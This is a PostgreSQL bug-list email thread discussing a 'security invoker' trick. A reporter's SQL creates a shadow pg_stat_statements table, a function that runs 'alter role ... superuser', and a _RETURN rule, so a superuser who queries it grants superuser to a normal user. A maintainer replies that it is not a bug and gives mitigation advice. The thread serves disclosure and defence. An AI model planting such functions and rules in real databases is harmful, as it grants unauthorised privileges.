BUG #13651: trigger security invoker attack

On Tuesday, September 29, 2015, David G. Johnston <
david(dot)g(dot)johnston(at)gmail(dot)com
<javascript:_e(%7B%7D,'cvml','david(dot)g(dot)johnston(at)gmail(dot)com');>> wrote:

> On Tuesday, September 29, 2015, 德哥 <digoal(at)126(dot)com> wrote:
>
>> a normal user get super privilege, use security invoker function.
>> postgres=> create table pg_stat_statements (
>> userid oid ,
>> dbid oid ,
>> queryid bigint ,
>> query text ,
>> calls bigint ,
>> total_time double precision ,
>> rows bigint ,
>> shared_blks_hit bigint ,
>> shared_blks_read bigint ,
>> shared_blks_dirtied bigint ,
>> shared_blks_written bigint ,
>> local_blks_hit bigint ,
>> local_blks_read bigint ,
>> local_blks_dirtied bigint ,
>> local_blks_written bigint ,
>> temp_blks_read bigint ,
>> temp_blks_written bigint ,
>> blk_read_time double precision ,
>> blk_write_time double precision );
>>
>> postgres=> create or replace function f() returns pg_stat_statements as
>> $$
>> declare
>> begin
>> alter role digoal superuser;
>> end;
>> $$ language plpgsql security invoker;
>> CREATE FUNCTION
>>
>> postgres=> create rule "_RETURN" as on select to pg_stat_statements do
>> instead select * from f();
>> CREATE RULE
>>
>> When a super user select the view pg_stat_statements , the normal user
>> digoal will granted the superuser role.
>>
>> Yes, it's a normal operation ,but somebody can use these trick.
>>
>
>
> Everything you just wrote was done as superuser so what's your point?
>
>
I guess the complaint is that most people, including administrators, aren't
checking to see what rules are being added to tables and if those rules
call invoked functions then the odds of a superuser invoking dangerous code
is significant. Fine. It's not a bug and while the risk is non-zero I'm
not coming up with any kind of workable mitigation at the moment. Don't
let untrustworthy people add code to your database and make sure
admin search-paths are safe to avoid overshadowing.

David J.